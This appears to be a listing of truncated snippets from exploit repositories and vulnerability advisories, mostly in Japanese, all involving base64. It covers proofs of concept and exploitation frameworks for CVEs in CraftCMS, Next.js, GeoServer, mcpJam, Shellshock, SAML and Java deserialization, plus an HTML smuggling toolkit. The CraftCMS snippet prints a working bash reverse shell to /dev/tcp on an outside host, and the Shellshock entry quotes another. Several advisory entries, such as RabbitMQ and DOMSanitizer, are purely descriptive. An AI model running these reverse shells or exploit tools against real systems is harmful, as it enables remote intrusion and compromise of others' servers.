CVE-2025-61686_docker

CVE-2025-61686docker 起動 1.build docker-compose up --build 2.start docker-compose up 再現手順 1.パストラバーサル条件を満たすセッションを構築する └─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-' | tr -d '=' IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg 2.構築したセッションをCookieにセットしてリクエストを送信する └─$ curl -H 'Cookie:...

PoC-for-ME-SAML-Vulnerability

PoC-for-ME-SAML-Vulnerability cve-2022-47966 の PoC テストするには、/SamlResponseServlet に POST リクエストとして送信します。Base64 エンコードし、SAMLResponse パラメータの値として指定して送信してください。 形式 POST /SamlResponseServlet HTTP/1.0 Host: SAMLResponse=&RelayState=...

CVE-2019-15715

CVE-2019-15715 このリポジトリは、CVE-2019-15715 のPython3実装であり、Nikolas Geiselman によって以前 こちら で報告されたCVE-2019-15715の改善のみに焦点を当て、スクリプトをより柔軟にするためにPythonのパラメータ実装を追加することを目的としています。 python3 CVE-2019-15715.py -rh $TARGETIP -rp $TARGETPORT -lh $ATTACKERIP -lp $ATTACKERPORT -u $USER -p $PSW -e $ENDPOINT -rs...

SmuggleMyPayload

SmuggleMyPayload SmuggleMyPayloadは、JavaScriptを使用してファイルを埋め込み再構築するHTML ページを生成するためのHTML スマグリングツールキットです。複数のHTML スマグリング手法、ペイロードエンコードオプション、JavaScriptのバリエーション、およびいくつかの組み込みHTML テンプレートを提供します。 機能 複数のHTML スマグリング手法 複数のHTML テンプレート Base64ペイロードエンコード ペイロードのチャンク分割 JavaScriptベースのファイル再構築 JavaScript文字列の難読化...

JavaDeRe

プロジェクト紹介 主にJAVA逆シリアライズのエコーバックペイロードを構築する際にclassをbase64エンコードし、緊急対応時にbase64文字列をデコードしてclassファイルに復元し、攻撃ペイロードを確認する必要があるシナリオで使用します PS: 主に自分が面倒くさがりだからです 使用例 evil.javaを正常に実行 classファイルをbase64エンコード処理します base64エンコードされた文字列をデコードしてclassに復元します IDEAでデコード結果を確認すると以下の通りです：...

Powshell-decode-payload

PowerShell gzip コードのデコード sal a New-Object;a IO.StreamReadera IO.Compression.GZipStreamIO.MemoryStreamConvert::FromBase64String'xxxx',IO.Compression.CompressionMode::Decompress,Text.Encoding::ASCII.ReadToEnd sal a New-Object;a IO.StreamReadera...

craftcms-cve-2025-32432-rce

payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

loki

loki NCC Group Plc によりオープンソースとして公開 - http://www.nccgroup.com/ Dave Spencer によって開発（david dot spencer at nccgroup dot com） http://www.github.com/nccgroup/Loki AGPL のもとで公開されています。詳細は LICENSE を参照してください 説明 Loki（Limited Obstructive Keyboard Impersonator）には RDP...

Sleipnir

Sleipnir NCC Group Plc によりオープンソースとして公開 - http://www.nccgroup.com/ 開発者: Dave Spencer, david dot spencer at nccgroup dot com http://www.github.com/nccgroup/Sleipnir AGPL のもとで公開されています。詳細は LICENSE を参照してください。 説明 Sleipnir は、Loki 内の send keys メソッドを介して迅速にアップロードするために設計された小さな実行ファイルであり、そのためアイコンがありません。Sleipn...

react2shell-cve-2025-55182

🚨 React2Shell - CVE-2025-55182 悪用フレームワーク CVE-2025-55182（Next.js リモートコード実行）の高度な悪用フレームワーク 作者: opsecramdan 📚 目次 概要 脆弱性の詳細 機能 要件 インストール 使用方法 インタラクティブシェル 出力ファイル 影響 緩和策 制限事項 免責事項 📌 概要 React2Shell は、Next.js ベースのアプリケーションにおける CVE-2025-55182 の脆弱性を特定・悪用するためのエクスプロイテーションフレームワークです。 このツールは、以下の機能を備えた...

CVE-2024-36401-PoC

CVE-2024-36401-PoC このリポジトリには、CVE-2024-36401 の概念実証 PoC スクリプトが含まれています。この脆弱性を悪用すると、標的サーバー上でリモートコード実行が可能になります。 特徴 Perl を使用してリバースシェルリスナーを設定します。 Base64 を使用してコマンドをエンコードします。 脆弱性を悪用するために標的サーバーにリクエストを送信します。 シグナル処理により割り込みを適切に処理します。 前提条件 Python 3.x requests ライブラリ インストール 1. このリポジトリをクローンします: git clone...

CVE-2023-25581

Este script en Python demuestra la explotación de la vulnerabilidad CVE-2023-25581 en pac4j-core. La vulnerabilidad permite a un atacante ejecutar código arbitrario RCE mediante la deserialización de datos codificados en Base64 maliciosamente manipulados. Requisitos previos Antes de ejecutar el...

CVE-2025-55182-RCE-shell

CVE-2025-55182-RCE-shell Burp Suite/antsword - 対話型シェル HTTPハイジャック + POST + AES-256-CBC/BASE64 検出 -dnslog DNSLog 出力なし検出 Nuclei -poc 脆弱性エコー検出 エクスプロイト -exp 対話型シェル base64 echo -exp2 対話型シェル HTTPハイジャック + POST + Base64 -exp3 対話型シェル HTTPハイジャック + POST + AES-256-CBC burpsuite...

CVE-2022-21449

CVE-2022-21449 Javaの「サイキック署名」に対して脆弱なアプリケーション向けに、base64署名を生成するリポジトリです。Node.js環境で実装されています😅 実行前に、https://github.com/davwwwx/elliptic からEllipticの改造版フォークをインストールしてください。 $ npm install 署名を生成する $ node index.js 脆弱なアプリケーションの例をDataDog/security-labs-pocsから入手してください -...

CVE-2026-100370 DOMSanitizer - Incomplete data: URL Sanitization in DOMSanitizer::isDangerousUrl() Allows Base64-Encoded Payloads to Bypass href and xlink:href Validation

DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.15, the isDangerousUrl method is responsible for rejecting dangerous URL values in the href and xlink:href attributes. The weakness is that "javascript:" is rejected as a scheme, while "data:" is rejected only when the...

CVE-2014-6271

Hellshocker 0.1.1 Tool to exploit Shellshock vulnerability Tired of using weak shellshock exploits or just "/bin/bash & /dev/tcp/IP/port 0&1" your way into the server? Yes, you need to upload and execute something more complex to the server, and base64 encoding a huge file is impossible for your...

CVE-2026-23744-poc

CVE-2026-23744 — mcpJam リモートコード実行 RCE エクスプロイト 本ツールは、mcpJam v1.4.2 に影響する任意のコマンド実行の脆弱性 CVE-2026-23744 に対する概念実証エクスプロイト（Python 3 製）です。このユーティリティは、送信前にコマンドを透過的に Base64 エンコードすることでペイロードの配信を自動化し、制限的な入力検証や文字フィルタリング機構を回避するのに役立ちます。ペイロードはターゲットシステム上で /bin/bash ラッパーを通じてデコードされ実行されます。 特徴 自動 Base64 ペイロードエンコーディング...

CVE-2026-67236 RabbitMQ: Plaintext username:password stored in an insecure cookie after successful POST /login

RabbitMQ is a messaging and streaming broker. From 4.2.0 until 4.2.8 and 4.3.2, a successful POST /login caused isauthorized/2 to set an auth cookie containing base64-encoded username:password credentials without HttpOnly, Secure, SameSite, or expiration protections. Because base64 is encoding...

EUVD-2026-87141

RabbitMQ is a messaging and streaming broker. From 4.2.0 until 4.2.8 and 4.3.2, a successful POST /login caused isauthorized/2 to set an auth cookie containing base64-encoded username:password credentials without HttpOnly, Secure, SameSite, or expiration protections. Because base64 is encoding...

CVE-2026-95831

Crypt::SelfCertificate versions from 1.01 through 1.05 for Perl contains malware which executes Python code from an obfuscated URL. The generatecertificate runs a Python script saved as a certificate file. The pyhton script attempts to retrieve code from a hardcoded http URL that is obfuscated wi...